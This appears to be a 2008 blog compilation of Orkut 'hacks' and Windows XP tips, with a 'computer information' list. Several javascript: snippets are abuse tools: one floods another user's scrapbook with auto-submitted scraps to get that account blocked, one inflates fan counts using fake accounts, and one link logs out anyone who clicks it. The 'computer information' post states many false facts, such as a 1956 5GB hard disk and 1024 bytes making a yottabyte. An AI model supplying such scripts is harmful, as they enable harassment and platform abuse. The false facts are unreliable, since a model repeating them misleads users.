Text user interface Command line interface, shells
Application Office suite Word processing, Desktop publishing, Presentation program, Database management system, Scheduling & Time management, Spreadsheet, Accounting software
Internet Access Browser, E-mail client, Web server, Mail transfer agent, Instant messaging
Design and manufacturing Computer-aided design, Computer-aided manufacturing, Plant management, Robotic manufacturing, Supply chain management
Graphics Raster graphics editor, Vector graphics editor, 3D modeler, Animation editor, 3D computer graphics, Video editing, Image processing
Audio Digital audio editor, Audio playback, Mixing, Audio synthesis, Computer music
Software Engineering Compiler, Assembler, Interpreter, Debugger, Text Editor, Integrated development environment, Performance analysis, Revision control, Software configuration management
Educational Edutainment, Educational game, Serious game, Flight simulator
Games Strategy, Arcade, Puzzle, Simulation, First-person shooter, Platform, Massively multiplayer, Interactive fiction
Misc Artificial intelligence, Antivirus software, Malware scanner, Installer/Package management systems, File manager

Programming languages
Programming languages provide various ways of specifying programs for computers to run. Unlike natural languages, programming languages are designed to permit no ambiguity and to be concise. They are purely written languages and are often difficult to read aloud. They are generally either translated into machine language by a compiler or an assembler before being run, or translated directly at run time by an interpreter. Sometimes programs are executed by a hybrid method of the two techniques. There are thousands of different programming languages—some intended to be general purpose, others useful only for highly specialized applications.

Programming Languages Lists of programming languages Timeline of programming languages, Categorical list of programming languages, Generational list of programming languages, Alphabetical list of programming languages, Non-English-based programming languages
Commonly used Assembly languages ARM, MIPS, x86
Commonly used High level languages BASIC, C, C++, C#, COBOL, Fortran, Java, Lisp, Pascal
Commonly used Scripting languages Bourne script, JavaScript, Python, Ruby, PHP, Perl

Professions and organizations
As the use of computers has spread throughout society, there are an increasing number of careers involving computers. Following the theme of hardware, software and firmware, the brains of people who work in the industry are sometimes known irreverently as wetware or "meatware".

Computer-related professions Hardware-related Electrical engineering, Electronics engineering, Computer engineering, Telecommunications engineering, Optical engineering, Nanoscale engineering
Software-related Computer science, Human-computer interaction, Information technology, Software engineering, Scientific computing, Web design, Desktop publishing

The need for computers to work well together and to be able to exchange information has spawned the need for many standards organizations, clubs and societies of both a formal and informal nature.

Organizations Standards groups ANSI, IEC, IEEE, IETF, ISO, W3C
Professional Societies ACM, ACM Special Interest Groups, IET, IFIP
Free/Open source software groups Free Software Foundation, Mozilla Foundation, Apache Software Foundation

muhahaha virus solution (Orkut Banned)

2008-06-13T05:31:00.000-07:00

if u r infected ith this virus then whenever u'll open orkut
the browser window get automatically closed and a dialog box appears saying
"ORKUT IS BAANED U FOOL..THE ADMINISTRATOR DIDN'T DO THT GUESS U DID?"

To fix it

go to the windows directory of ur pc.. most probably it's c: seacrch for the folder name heap41(it's hidden)... delete it also
go to search menu and type heap41a and press enter. many files and folders will be displayed. delete all of them.
then go to run->regedit->edit->find and type heap41a as search query...

delete any serach result which contains the word heap.
restart your system adn u can access gmail and orkut now.......

orkut help

2008-06-13T05:30:00.000-07:00

IMPORTANT INSTRUCTIONS
• Please report immediately if any of the tricks stops working : may depend on the browser.
• I recommend u doing all the tricks on Opera Browser .. it supports java scripts the most efficient way.
• No need to install Ny "greesymonkey" scripts.. it works well wid all the browsers.
• Requirements: for novice users..
• Java Script enabled browser.
• Activate the ACTIVEX controls if your browser asks for that.
• Instructions:
• Open the specified page in a NEW WINDOW/TAB.
• Copy the Javascript (Click anywhere in the script box and then Right click and select Copy)
• given and paste it in the URL bar.
• Paste your Java Script code in AddressBar (Replace with - www.Orkut.com)
• Hit ENTER.
• Follow the instructions given for each trick CAREFULLY.
FOR BLOCKING ACCOUNT
• copy and paste this code in your Scrapbook's Address Bar
• javascript:i=0;sar=document.getElementsByTagName('TEXTAREA').item(0).value;document.body.innerHTML+='';document.forms[1].target='TextFlooding';setInterval(" document.getElementsByTagName('TEXTAREA').item(0).value=sar +' '+ i;a=submitForm(document.forms[1], 'submit', '');i++",2000);void(0)
HACK COMPLETED

PLACING STAR BEFORE YOUR MESSAGE
• Try ★ in your scrap book editor box above your Scraps and Write Your
• Voila!! a STAR comes up Before ur Message. isnt it Cool
HACK COMPLETED

SECRECT WRITINGS
• write this code at the beginning of the scrap without quotes
• "‮"
HACK COMPLETED

PICTURE IN ACTION
• copy and paste this code in your Scrapbook's Address Bar
• javascript:R=0; x1=.1; y1=.05; x2=.25; y2=.24; x3=1.6; y3=.24; x4=300; y4=200; x5=300; y5=200; DI=document.images; DIL=DI.length; function A(){for(i=0; iHACK COMPLETED

BLANK SCRAP
• For writing blank scrap, follow the steps:
• 1) Open any scrapbook.
• 2) Write [i] in the scrapbook.
• 3) Do NOT write anything else in the scrapbook, and submit the scrap.
• That's all.
• NOTE: You can also use [b] tag instead of [i] tag You can also use this method to post a blank entry in any community forum.
• ` You can try these various combinations also if u want to send a big no of invisible scraps, as after your few submissions it will start displaying the message "message sent too recently". So try these combinations out:
•
• [u]
•
• [b]
•
• [i][u]
•
• [i][b]
•
• [u][i]
•
• [u][b]
•
• [u][i][b]
•
• [i][u][b]
•
• [i][u][b][i]
•
•
•
HACK COMPLETED

COLORFUL SCRAP
• For writing multi colored scrap, follow the steps:
• 1) Open any scrapbook.
• 2) Write your message in the scrap. Do NOT click on submit.
• 3) Copy the following text and paste it in your address bar
• javascript:cor=new Array('aqua','blue','fuchsia','gold','gray','green','lime','maroon','navy','olive','orange','pink','purple','red','silver','teal','violet', 'yellow' );var z=0;txt=document.getElementsByTagName('textarea')[0];txt.value=txt.value.replace(/(.)/gi,"§$1");txt.value=txt.value.replace(/\§ /gi," ");for(y=0;y• 4) Hit ENTER key .
• 5) Click on Submit
• n ur scrap is now multicoloured
HACK COMPLETED

INVISIBLE PROFILE NAME
• For making your name invisible follow the steps:
• 1) Click on edit profile
• 2) Type ALT + 0173 in your first name and last name. (i.e. Type 0173 while pressing the ALT key of your keyboard.)
• 3) Click on Update
HACK COMPLETED

ZOOMING PICTURE
• Follow the steps:
• 1) Open any profile whose friends' images you wish to double.
• 2) Copy the following text and paste it in your address bar
• javascript:document.body.innerHTML=document.body.innerHTML.replace(/small/g,"medium");void(0)
• 3) Hit ENTER key
HACK COMPLETED

AUTOMATICALLY, INCREASE FAN
• Follow the steps:
• 1) Create a fake account or simply login with ur friends Id.. and add yourself as a friend there.
• 2) Visit the FRIENDS page by logging into your just created fake account or the Friends account.
• 3) Point your cursor on the fan icon () beside your real profile. Note your status bar. It should be showing something like javascript:setKarma('FRUS*******/US*******'). Note the code FRUS******* and US******* somewhere. Now, click on the star so as to make your fake account a fan of your real account.
• 4) Copy the following code to your address bar (The location where you type http://www.orkut.com ). Replace FRUS******* and US******* in the following script with the one you noted in the above step.
• javascript:function cmd(){window.location="/setkarma?cat=0&val=3&gid=FRUS*******/US*******";}void(setInterval(cmd,2000));
• 5) Hit ENTER key of your keyboard. The page will keep on reloading and your fans will keep on increasing with an approximate speed of 6 fans per second untl you close the window.
HACK COMPLETED

MIRROR LINKS
• These links if clicked redirects the person who clicked to his/her profile.. U can use these in Your Profile like :MY best frnd" and any one who clicks on these links u define will see hes/her own profile.
• this will give out d profile:
• www.orkut.com/Profile.aspx???2pid=1173
• this will give out the Album :
• www.orkut.com/AlbumView.aspx?2uid=34921
• this will give out the Scrapbook :
• www.orkut.com/Scrapbook.aspx?2uid=684921
HACK COMPLETED

MAKE COLORFUL PAGE
• 1) Open your scrapbook.
• 2) Copy the following text and paste it in your address bar
• javascript: i=0;c=["red","green","blue","yellow","magenta","orange","black","white"]; a=document.links;setInterval('i++;a[i % document.links.length].style.color=c[i % c.length]',10);void(0);
• 3) Hit ENTER key
HACK COMPLETED

PICTURE EFFECT WITH SNAKE
• copy and paste this code in your Scrapbook's Address Bar
• javascript:R=-1;DI=document.images;DIL=DI.length;function A(a,b,c){return Math.sin(R/350*6.28*b+a)*c+c}function B(a){DIS=DI.item(a).style;DIS.position='absolute';DIS.left=A(0,7,300);DIS.top=A(1.6,6,150)}setInterval('R++;B(R%DIL)',15);void(0)
HACK COMPLETED

FRUSTED SOME ONE
• just creeped to my mind so m sharin wid you.
• The best link to setup as your homepage iswww.orkut.com/GLogin.aspx?cmd=logou
• When someone click on this the person will be logged out from his/her orkut session
HACK COMPLETED

SPEEDLY LOGIN
• Bookmark the following link and use it to login into orkut!
• www.google.com/............www.orkut.com%2FGLogin.aspx
• The above link directly opens orkut login box! So it is faster than normal orkut login.
HACK COMPLETED

ADDING SPECIAL SYMBOL
• This is a much awaited trick on Orkut
• very less users know about it be d one n Impress ur friends !!
• here it is
• Press alt key and d following 4rm num pad ...
•
• alt + 987 - ˆ%
•
• alt + 1 - :&
•
• alt + 2 - ;&
•
• alt + 3 - e&
•
• alt + 4 - f&
•
• alt + 5 - c&
•
• alt + 6 - `&
•
• alt + 7 - "
•
• alt + 8 - Ø%
•
• alt + 9 - Ë%
•
•
•
•
•
• alt + 0178 - ²
•
• alt + 0489 - é
•
• alt + 0756 - ô
•
• alt + 0742 - æ
•
• alt + 0719 - Ï
•
• alt + 0739 - ã
•
• alt + 0729 - Ù
•
• the same way many combinations can be tried..
• keep trying it and do upload it here as comments
• keep posting.
HACK COMPLETED

ADD YOUR SELF AS FRIEND
• It is now possible to add urself but U cant accept that . Although u will see a friendship request on homepage from u only.
• Just Open www.orkut.com/Friends.aspx and run this script .This will redirect u to ur profile, now just click on home and see the magic.
• Hit ENTER
HACK COMPLETED

WRITE SCARP IN HINDI
• Right click on the link below n open it in a new window !
• click here to write in hindi
• Go to Quillpad for Hindi, Telugu, Tamil, Kannada, Malayalam and Marathi

Power Xp Tips & Tricks

2008-06-13T05:29:00.004-07:00

Make your folders invicible...:)

1)Right Click on the desktop.Make a new folder
2)Now rename the folder with a space(U have to hold ALT key and type 0160).
3)Now u have a folder with out a name.
4)Right click on the folder>properties>customize. Click on change icon.
5)Scroll a bit, u should find some empty spaces, Click on any one of them.

click ok

Easily Disable Messenger

Go into: C:/Program Files/Messenger. Rename the Messenger folder to "MessengerOFF".
Remove Messenger

• Go to Start/Run, and type: "rundll32 setupapi,InstallHinfSection BLC.Remove 128

%SystemRoot%\INF\msmsgs.inf"

Turn Off Autoplay for Program CDs

How can you stop Windows XP from launching program CDs?
• Click Start, click Run, type GPEDIT.MSC to open Group Policy in the Microsoft
Management Console.

• Double-click Computer Configuration, double-click Administrative templates,
double-click System, and then click Turn off autoplay.

• The instructions on your screen describe how to configure this setting. Click
Properties to display the setting dialog.

• Click Enabled, and choose CD-ROM drives, then click OK, to stop CD autoplay.
This setting does not prevent Autoplay for music CDs.

Change Drive Letters in Windows XP

When you add drives to your computer, such as an extra hard drive, a CD drive, or a
storage device that corresponds to a drive, Windows automatically assigns letters to the
drives. However, this assignment might not suit your system; for example, you might have
mapped a network drive to the same letter that Windows assigns to a new drive. When you
want to change drive letters, follow these steps:

• Right-click My Computer, and then click Manage.

• Under Computer Management, click Disk Management. In the right pane, you'll see
your drives listed. CD-ROM drives are listed at the bottom of the pane.

• Right-click the drive or device you want to change, and then click Change Drive
Letter and Paths.

• Click Change, click Assign the following drive letter, click the drive letter you
want to assign, and then click OK.

Do Not Highlight Newly Installed Programs

Tired of that annoying little window that pops up to tell you that new software is
installed? If it gets in the way when you're logging off, turn it off completely. To do
this:

• Click Start, right-click at the top of the Start menu where your name is displayed,
and then click Properties.

• In the Taskbar and Start Menu Properties dialog box, on the Start Menu tab, click
Customize.

• Click the Advanced tab, and then clear the Highlight newly installed programs check
box.

• Click OK, and then click OK again

Change the Default Opening Folder in Windows Explorer

By default, Windows Explorer opens showing the My Documents folder. To change the
default setting so that all top-level drives and folders are shown, follow these steps:

• Click Start > Programs > Accessories, then right-click Windows Explorer, and click
Properties.

• Under Target field, which reads %SystemRoot%\explorer.exe, add to make the line
read:

%SystemRoot%\explorer.exe /n, /e, /select, C:\

Close Multiple Windows

If you just opened a number of separate, related windows (a folder inside a folder,
and so on), there's an easier way to close them all than one-at-a-time:
• Hold down the shift-key as you click the X caption button in the upper-right corner
of the last window opened. Doing so closes that window and all windows that came before it

change fat -> ntfs

To change ur File system from command prompt
type: convert c:/fs:ntfs(ex:'c' is the drive letter)
->>>If have any problem in performing the above trick.

LOGOFF ICON

2008-06-13T05:29:00.003-07:00

• THERE ARE MAINLY TWO WAYS TO MAKE MICS ICONS
• ONE WITH THE HELP OF NOTEPAD
• OPEN THE NOTEPAD
• WRITE THIS TEXT IN THE NOTEPAD -> "SHUTDOWN.EXE -l 13" WITHOUT QUOTE
• SAVE IT WITH "ANY NAME.BAT"
• ANOTHER WAY BY CRTEATING THE SHORTCUT
• CREATE A SHORTCUT ON THE DESKTOP
• GIVE THIS PATH TO SHORTCUT "SHUTDOWN.EXE -l"
• AND PRESS OK

RESTART ICON

2008-06-13T05:29:00.001-07:00

• THERE ARE MAINLY TWO WAYS TO MAKE MICS ICONS
• ONE WITH THE HELP OF NOTEPAD
• OPEN THE NOTEPAD
• WRITE THIS TEXT IN THE NOTEPAD -> "SHUTDOWN.EXE -r -t 13" WITHOUT QUOTE
• SAVE IT WITH "ANY NAME.BAT"
• ANOTHER WAY BY CRTEATING THE SHORTCUT
• CREATE A SHORTCUT ON THE DESKTOP
• GIVE THIS PATH TO SHORTCUT "SHUTDOWN.EXE -r -t 13"
• AND PRESS OK

SHUTDOWN ICON

2008-06-13T05:28:00.001-07:00

• THERE ARE MAINLY TWO WAYS TO MAKE MICS ICONS
• ONE WITH THE HELP OF NOTEPAD
• OPEN THE NOTEPAD
• WRITE THIS TEXT IN THE NOTEPAD -> "SHUTDOWN.EXE -S -F -T 13" WITHOUT QUOTE
• SAVE IT WITH "ANY NAME.BAT"
• ANOTHER WAY BY CRTEATING THE SHORTCUT
• CREATE A SHORTCUT ON THE DESKTOP
• GIVE THIS PATH TO SHORTCUT "SHUTDOWN.EXE -S -F -T 13"
• AND PRESS OK

STOP SHUTDOWN ICON

2008-06-13T05:25:00.000-07:00

• THERE ARE MAINLY TWO WAYS TO MAKE MICS ICONS
• ONE WITH THE HELP OF NOTEPAD
• OPEN THE NOTEPAD
• WRITE THIS TEXT IN THE NOTEPAD -> "SHUTDOWN.EXE -a" WITHOUT QUOTE
• SAVE IT WITH "ANY NAME.BAT"
• ANOTHER WAY BY CRTEATING THE SHORTCUT
• CREATE A SHORTCUT ON THE DESKTOP
• GIVE THIS PATH TO SHORTCUT "SHUTDOWN.EXE -a 13"
• AND PRESS OK

computer information

2008-06-13T05:24:00.000-07:00

SERGEY BRIN AND LARRY PAGE ARE THE FOUNDER OF GOOGLE.

GOOGLE LANCHED THER ONLINE SALES OPERATION IN GURGAUN.

NOW-A-DAYS WEKIPEDIA IS THINK ABOUT TO LAUNCH THERE SEARCH ENGINE AGAINST GOOGLE

"BEBO" IS ONE OF MOST SEARCHED TERM IN TOP TEN LIST OF GOOGLE.

GOOGLE PRODUCED A SITE FOR FREE WEBSITE DEVELOPMENT HERE YOU CAN CREATE YOUR WEB WITHOUT KNOWING ANY WEB TECHNOLOGY IT IS ONE OF THE BEST TECHNOLOGY OF THE GOOOOOOGLE.

THERE IS ALSO A POPULAR BLOG FORMATION WEBSITE OF GOOGLE IS BLOGGER.COM

YOUTUBE.COM IS ALSO THE MOST POPULAR PRODUCT OF GOOGLE WHERE YOU CAN ABLE TO UPLOAD YOUR FAVOURITE VEDIO AND ALSO TO WHATCH HUNDREDS OF LIVE TELEVISION CHANNEL OVER IT.

IN THE BIGGEST TECHNOLOGY OF GOOGLE GOOGLE EARTH WE CAN ALSO ABLE GET THE HISTORICAL INFORMATION ABOUT PLACE ALONG WITH MAP OF THE SEARCHED AREA.

THE TIME OF PHOTO SEARCH OVER THE INTERNET IS NOW BECOME TO BE CHANGE BECAUSE MANY COMPANIES LIKE POLAR ROZ AND MALMO PRODUCED THERE SEARCHED ENGINE WITH THE HELP OF WHICH WE ABLE TO SEARCH THE PICTURE BY UPLODING THE PICTURE OF THE SEARCHED PERSON.

MICROSOFT DEVELOPED THE NEW TECHNOLOGY FOR THE GAME LOVERS IT PRODUCED THE SOFTWARE CALLED AS "XBOX 360" WITH THE HELP OF WHICH YOU CAN ABLE TO CREATE YOU GAME ACCORDING TO YOUR NEED IT IS SO EASY YAR.

ULTRA WIDE BAND(UWB) WHICH REPLACES THE USB IT HAS UPTO THREE METER OF RANGE WITH THE SAME SPEED AS USB.

INTEL RECENTLY ANNOUNCED IT'S 45-NANOMETER CHIP, THEY CALLED IT AS "PENRYN".

INTEL TAKES ITS LEG SO HIGH AND LAUNCHED THERE FOREBRAIN COMPUTERS.

THE TIME OF ATM IS ALSO CHANGED THE NEW ATM DOES NO REQUIRED ANY TYPE OF CARD AND NOT ALSO THE PASSWORD THESE ATM ARE WORKED WITH THE FINGURE PRINTS OF HUMAN BEINGS THESE ATM ARE MAINLY FOR VILLAGE AREAS. THESE MACHINES ARE ONLY PRESENT IN 15 VILLAGES OF INDIA BUT THE WORK RUN FAST.

IF YOU WANT TO PLAY ONLINE PIANO WITH REAL MUSIC SO NAVIGATE TO FISHER-PRICE.COM HERE YOU SEE THE PIANO BUTTONS ON THE MONITER SCREEN AND WHEN ON CLICK THESE BUTTONS THEN THEY PRODUCESS THE SOUND

PLACE THE SHORTCUT ICON OF YOUR FAVOURITE WEBSITE ON THE DESKTOP BY PASTING THE FAVICON.ICON FILE.

YOU HAVE THE EXTRA INBUILD TOOLS IN YOUR XP OPERATING SYSTEM FOR ENHANCING YOUR WORK TAKE THE PATH "support/tools" AND THEN RUN SETUP THE SOFTWARE ACCORDING TO YOUR NEED SOME EXAMPLE ARE BELOW:-
1. PVIEWER - THIS UTILIES SHOW THE LIST OF PROCESS WHICH RUNNING ON THE COMPUTER AND SHOWS WHAT AMOUT OF MEMORY IT IS USING.
2. DIRUSE - THIS UTILITY HELP IN SHOWING THE USAGES OF YOUR DRIVES.
3. DUPFINDER - IT CAN BE HELP IN FINDING THE DUPLICATE FILES IN YOUR SYSTEM WHICH CAN BE HELP IN FREEING YOU DISK SPACE.

FOR SPEED UP YOUR SYSTEM DELETE THE FILES PRESENT AT "c://window/prefetch" DIRECTORY .

SKETCHPAD WAS DESIGNED BY "MR. IVAN SUTHCRLAND" FOR GRAPHICS DESIGN.

HARD DISK WAS INVENTED BY "MR. REYNOLD JOHNSON" IN 1956 THE CAPACITY OF THIS HARD DRIVE IS 5GB AT 1200 RPM. IT WAS VERY MUCH FOR THAT TIME.

THE FIRST CD-ROM WAS INVENTED BY "MR. JAMES T RUSSELL" IN 1970 HE IS ALSO A FIRST PERSON IN THE WORLD WHO USES COLOR TELEVISION.

[ESC] THE FIRST KEY IN THE KEY BOARD WAS CREATED BY "MR. BOB BEMER" HE WAS ALSO CALLED AS THE FATHER OF "ASCII" CODES HE ALSO DEVELOPED A COMPUTER LANGUAGE CALLED AS "COMTRAN" HE CONTRIBUTE A LOT IN THE FIELD OF THE COMPUTER SCIENCE HE WAS DIED IN 2004 DUE TO CANCER .

"MR. SINCLAIR" WAS DEVELOPED ZX SPECTRUM MICROCOMPUTER IN 1982 IT WAS THE FRIST MASSIVELY POPULAR HOME COMPUTER IN U.K. IT'S PROCESSOR RUNNING AT 3.5MHz AND USED 48KB OF RAM HE ALSO INVENTED THE FIRST SLIM CALCULAR WHICH FITS INTO THE HUMAN POCKET.

THE MOST USABLE SEARCH ENGINE IN THE WORLD IS "YANDEX" IT IS THE RUSSIAN SEARCH ENGINE ON WHICH APPORX 75% OF INTERNET USERS ARE SURF .

WEBSITE BREAK ALL THE RECORDS THE PAPULATION OF WEBSITE INCREASE DAY-BY-DAY NOW IT BECOMES 100 MILLION.

IN YEAR 2006 "MYSPACE" BEAT YAHOO! IN CONTEXT OF MOST VISITED SITE.

ICELAND IS ON TOP IN THE ACCESS OF BROADBAND CONNECTION.

LESS THAN "1" OF AFRICANS ACCESS THE BROADBAND INTERNET CONNECTIONS.

DUE TO NON-SECURE USER NAME AND PASSWORDS IN EVERY "39" MINUTES A HACKER ATTACKS THE COMPUTER OVER THE INTERNET.

THE NEW INTERNET EXPLORE 7 ALSO HAVE INBUILT SPELLING AND TABBED BROWSING SYSTEM.

1024*1024 IS EQUAL TO 1 "MEBIBYTE".

1024 BYTES FORMS AN YOTTABYTE.

APPLE "IPHONES USES THE ARM PROCESSORS".

internet shortcuts

2008-06-13T05:23:00.000-07:00

FOR QUICK ACCESS THE INTERNET EXPOLRER FOLLOW THE SHORTCUTS.

[CTRL]+[CLICK] - OPEN A LINK IN NEW TAB

[CTRL]+[TAB] - SWITCH BETWEEN TABS

[CTRL]+[N] - SWITCH BETWEEN N TABS(N=1,2,3..)

[CTRL]+[ALT+F4] - CLOSE ALL TABS

[CTRL]+[Q] - OPEN QUICK TAB VIEW

[CTRL]+[SHIFT+Q] - LIST OF TABS

[CTRL]+[E] - GO TO TOOL BAR SEARCH

[CTRL]+[F5] - REFERESH THE PAGE AND CHACHE

[CTRL]+[H] - OPEN HISTORY

[CTRL]+[D] - ADD CURRENT PAGE TO FAVORITES

web site 2

2008-06-13T05:22:00.000-07:00

26. Further speedup broadband cable Internet connection
READ DISCLAIMER FIRST AND THEN FOLLOW INSTRUCTIONS BELOW IF APPLICABLE:
A. in the "My Network Places" properties (right click on the desktop icon and choose properties), highlight the connection then at the menu bar choose "Advanced" then "Advanced Settings". Uncheck the two boxes in the lower half for the bindings for File and Printer sharing and Client for MS networks. Click OK
B. Continue as indicated below steps:
1. from the Windows XP CD in the support directory from the support cab, extract the file netcap.exe and place it in a directory on your hard drive or even in the root of your C:\ drive.
2. next, open up a command prompt window and change directories to where you put netcap.exe then type "netcap/?". It will list some commands that are available for netcap and a netmon driver will be installed. At the bottom you will see your adapters. You should see two of them if using a 3Com card. One will be for LAN and the other will be for WAN something or other.
3. Next type "netcap/Remove". This will remove the netmon driver.
4. Open up control panel / system / dev man and look at your network adapters. You should now see two of them and one will have a yellow ! on it. Right click on the one without the yellow ! and choose uninstall. YES! you are uninstalling your network adapter, continue with the uninstall. Do not restart yet.
5. Check your connection properties to make sure that no connection exists. If you get a wizard just cancel out of it.
6. Now restart the machine and go to your connection properties again and you should have a new connection called "Local area connection 2". highlight the connection then at the menu bar choose "Advanced" then "Advanced Settings". Uncheck the two boxes in the lower half for the bindings for File and Printer sharing and Client for MS networks. Click OK.
8. Choose connection properties and uncheck the "QOS" box
9. Restart the machine and enjoy the increased responsiveness of IE, faster page loading, and a connection speed boost
It seems that Windows XP installs two separate versions of the NIC card. One you do not normally see in any properties. Remember the "netcap/?" command above showing two different adapters? The LAN one is the one you see. The invisible one slows everything down and its like your running two separate cards together, sharing a connection among two cards. This method breaks This"bond" and allows the NIC to run unhindered.
IMPORTANT DISCLAIMER: This tweak assumes that you have let Windows XP create a connection on install for your cable modem/NIC combination and that your connection has tcp/ip - QoS - file and print sharing - and client for Microsoft networks ,only installed. It also assumes that winxp will detect your NIC and has in-box drivers for it. If it doesn't do not try This as This may not work.

27. Avoid download of file attachments that may have virus infections
Open Group Policy Editor by going to START - RUN and entering gpedit.msc. This one is easy.. Navigate to USER CONFIGURATION - ADMINISTRATIVE TEMPLATES - WINDOWS COMPONENTS - INTERNET EXPLORER. For This on right hand pane (most likely secondly last line at bottom) you should see an item Configure Outlook Express. Double Click on it and enable it and mark check box that says "Block attachments that may contain virus". OK out and close the global policy editor.

28. Heard of Atomic Clocks? or NIST ? Here is a tip on accurately setting your computer clock
Till yesterday I was using a separate third party utility to synchronize my computer clock precisely. I am not a timely person in all other aspects of life (not a good thing but have to be truthful !) to worry about time that too at atomic level but as it is with many things, it sounds like good a good idea to do it anyway! Thanks to National Institute of Standards and Technology, It has become much easier to do that via Internet. And there is no need for third party tool if you have bought WINDOWS XP Operating System. Just click on the time (right side of your START bar or panel) and click on INTERNET TIME tab. Select the time.nist.gov and click update now. Your are all set. Wait a minute your computer clock is still not that advanced. So you many need to synchronize again and again. But hey, we are in the computer world and who has time for This manual work. So I have a solution for you. OPEN registry editor ( I think you know how to open a registry.. click START-RUN and enter regedit) and navigate to HKEY_LOCAL_MACHINE \ SYSTEM \ ControlSet001 \ Services \ W32Time \ TimeProviders \ NtpClient. In right pane, you would see "SpecialPollInterval". Double click and set a decimal number (unit is seconds) to the frequency with which you want to have the automatic synchronization carried out.
Also you can add many more time servers directly into registry because by default all that you can see is two time servers in the drop down list. List of many other time servers is available at http://www.eecis.udel.edu/~mills/ntp/. To add any other time servers, get details about the server and then navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\DateTime\Servers] and adding them into the list.

29. Do you know there are two command shell environments in XP ? which one is better ?
In Microsoft Windows XP Pro ( I think this must be true for HOME Edition, but don't quote on me), There is not one but two different command shell environment. One is the old one COMMAND.COM and other one is CMD.EXE. Both would do the job but they do it somewhat differently at a lower level. Which one is better ? I have noticed that CMD.EXE is much better in executing your commands. And this is true. CMD.EXE is the new command shell environment. that is better by design.So if you want to try out even your very old DOS apps, try it first in CMD.EXE. There is a very good chance that it will work and will work better than in your old shell.

30. Ever wondered how come you get into those HTML error pages ? Want to customize them ?
Some times, I type a webpage address and instead of seeing the page, see an error message. Do you know that all these error messages are stored in a DLL file. That is correct ! All of this message are burned into SHDOCLC.DLL file. Here is the syntax to see all of these error messages . If you want to see server busy error message type in Internet address field, res://c:\Windows\System32\SHDOCLC.DLL/servbusy.htm Similarly If you want to try out any other error message simply replace servbusy.htm by that html file (just the names) Here are some complete examples html files that you can try .
http_400.htm, http_404.htm, http_406.htm, http_410.htm, http_500.htm, http_501.htm, http_gen.htm, servbusy.htm, syntax.htm, navcancl.htm, offcancl.htm, policyerror.htm, policylooking.htm, policynone.htm, policysyntaxerror.htm, privacypolicy.dlg, preview.dlg, printerr.htm, printnf.htm, printnof.htm, printunk.htm, wcee.htm, ietext.bmp, ietext256.bmp, world.bmp, world256.gif, ie.gif, ie256.gif, orgfav.dlg, about.dlg, analyze.dlg, bidifind.dlg, docppg.ppg, error.dlg, find.dlg, findic.dlg, ieerror.dlg, imageppg.ppg, orgfav.dlg, and pstemplate.dlg
If you need to customize these messages, write an error message that you want to see as displayed and store it somewhere on your harddisk, open registry by going to START-RUN and entering REGEDIT and navigate to Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\AboutURLs and changing entries associated with various keys and provide complete path name to your own custom html file.

31. If you have a lot of RAM, do you really need swap file?
With RAM prices dropping so low ( I saw 256 MB SDRAM for $34 in COMPUSA on Jan 2nd,2002), more and more people are adding RAM to their computer. This is the best upgrade I would suggested to anyone. Well if you have 512MB or 768 MB or a whopping 1GB of RAM, you do not need a swap file (SWAP FILE is the concept of old dayw when RAM was too costly). Try this out. Go to My Computer and right click on properties and get into System Properties window. Go to Advanced tab and click on the Settings button for Performance group, click again on advanced tab and then click on change and choose NO SWAP FILE. I think you would see an improvement. If you don't like the change, follow the same steps and change SWAP FILE size to whatever you want (typically 1.5 * physical RAM). Also you can further gain by applying following changes in registry. Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management and look for DisablePagingExecutive. On my computer default value is 0. Set it to 1. This will stop paging act as well.

32. How to boost XP speed by by changing real time clock priority?
I read about this trick the other day over Internet. Open Registry by going to START-RUN and typing REGEDIT. Navigate to [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\PriorityControl]. If you see an entry by the name IRQ8Priority set it to a value "IRQ8Priority"=dword:00000001 if you don't then click on the right pane and add a new dword entry with given name.. IRQ8 is typically reserved for real time clock in most of the computers. Make sure thats the case (by going to device manager -> system devices -> system COMS/realtime clock -> properties -> resources tab , if it is set to another number try adding an entry with that number N as IRQNPriority) . Generally realtime clock priority boosting helps most but you are free to try others as well.

33. Reduce IO and increase turnaround which means faster computer !
I read about this trick the other day over Internet. Open Registry by going to START-RUN and typing REGEDIT. Navigate to [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\IoPageLockLimit. Depending upon how much RAM you have, you can increase your diskcache size by entering a higher value in IoPageLockLimit. Typically your computer won't come optimized for diskcache and you can set to a value which works best for you by trial and error.Rule of thumb is to have a ratio of 1 or 2 for every 64K chuck. But try out various different values as each case would be a little different

34. Correctly set your level 2 cache and improve performance !!
I read about this trick the other day over Internet. Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\SecondLevelDataCache. Based on the kind of CPU you have, this value should change. Here are some of the defaults. Intel Celeron - 128 , AMD Duron - 64. PII and Athalon: 512. Cyrix and AMD K6-3 256. Pentium IV-1024. Figure out what your CPU type is and what L2 cache it supports and set it accordingly. It is important to know what critics have to say about this tweak. Opinions vary and I have put following three articles that have been brought to my attention which may help you understand why it may not be effective in some situations:
Do not change the SecondLevelDataCache entry (from Microsoft technet article)
Some third-party sources have erroneously reported that modifying the SecondLevelDataCache registry entry in HKEY_LOCAL_MACHINE \System \CurrentControlSet \Control \Session Manager\Memory Management can enhance system performance. The second level (L2) cache is recognized by the operating system and is fully utilized regardless of the setting of this parameter.
(from Microsoft knowledge base item Q183063)This is not related to the hardware; it is only useful for computers with direct-mapped L2 caches. Pentium II and later processors do not have direct- mapped L2 caches. SecondLevelDataCache can increase performance by approximately 2 percent in certain cases for older computers with ample memory (more than 64 MB) by scattering physical pages better in the address space so there are not so many L2 cache collisions. Setting SecondLevelDataCache to 256 KB rather than 2 MB (when the computer has a 2 MB L2 cache) would probably have about a 0.4 percent performance penalty.
